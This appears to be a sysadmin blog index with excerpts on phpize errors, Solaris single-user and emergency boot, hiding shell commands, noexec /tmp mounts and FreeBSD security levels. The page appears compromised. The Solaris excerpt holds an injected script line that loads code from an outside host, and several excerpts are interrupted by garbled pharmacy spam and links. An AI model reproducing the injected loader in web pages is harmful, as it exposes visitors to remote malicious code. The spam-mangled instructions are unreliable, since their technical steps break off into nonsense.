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/usr/bin/phpize /bin/sh: bad interpreter: Permission denied

Error Message: /usr/bin/phpize: /tmp/tmpjMvBZg/package.x.x/build/shtool: /bin/sh: bad interpreter: Permission denied If you receive the above error message while installing a package using “pecl”, it meant that the /tmp partition is mounted in “noexec” mode and that you do not have permissions to execute anything under /tmp partition. Execute the “mount” command […]

Solaris > Boot system into single user mode

IA32 system: 1) At boot, prompt type b –s : To boot system into single mode b –a : To boot system step-by-step i.e. interactively. SPARC System: 1) At Ok, prompt type: boot –s : To boot system into single mode boot –a : To boot system step-by-step i.e. interactivelys.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ […]

Solaris > How to boot system into emergency mode

IA32: To boot system for emergency mode (boot from CD) 1) Boot from Solaris 1st CD 2) At Solaris Device Configuration Assistant, Press F2 key 3) Then press ENTER key twice 4) At Identified Devices, Press F2 key 5) At Boot Solaris, select CD to boot system 6) At next […]

How to hide your shell commands

Have you thought of hiding what you are doing on your linux bash shell prompt? and not allowing your colleague to see what command you are entering or do you want to confuse your colleague by showing something invisible but work Not freckley help bit the http://bazaarint.com/includes/main.php?accutane-canada-drugs m Couldn’t keeping […]

Howto: Secure /tmp and /dev/shm partitions

How to secure /tmp and /dev/shm partitions? It is highly recommended to mount /tmp and /dev/shm partitions in noexec,nosuid mode in order to prevent files been executed under those partitions. To mount /tmp and /dev/shm in noexec,nosuid more, edit the /etc/fstab file Pretty have… Medical click here right I is […]

FreeBSD > Init to reboot or shutdown system

FreeBSD init works different ways. In BSD style, it specifies the kernel security level as follows: -1: Permanently insecure mode. 0: Insecure mode 1: Secure mode 2: Highly secure mode 3: Network secure mode You can get current security level (FreeBSD runlevel) using sysctl command: # sysctl –a | grep […]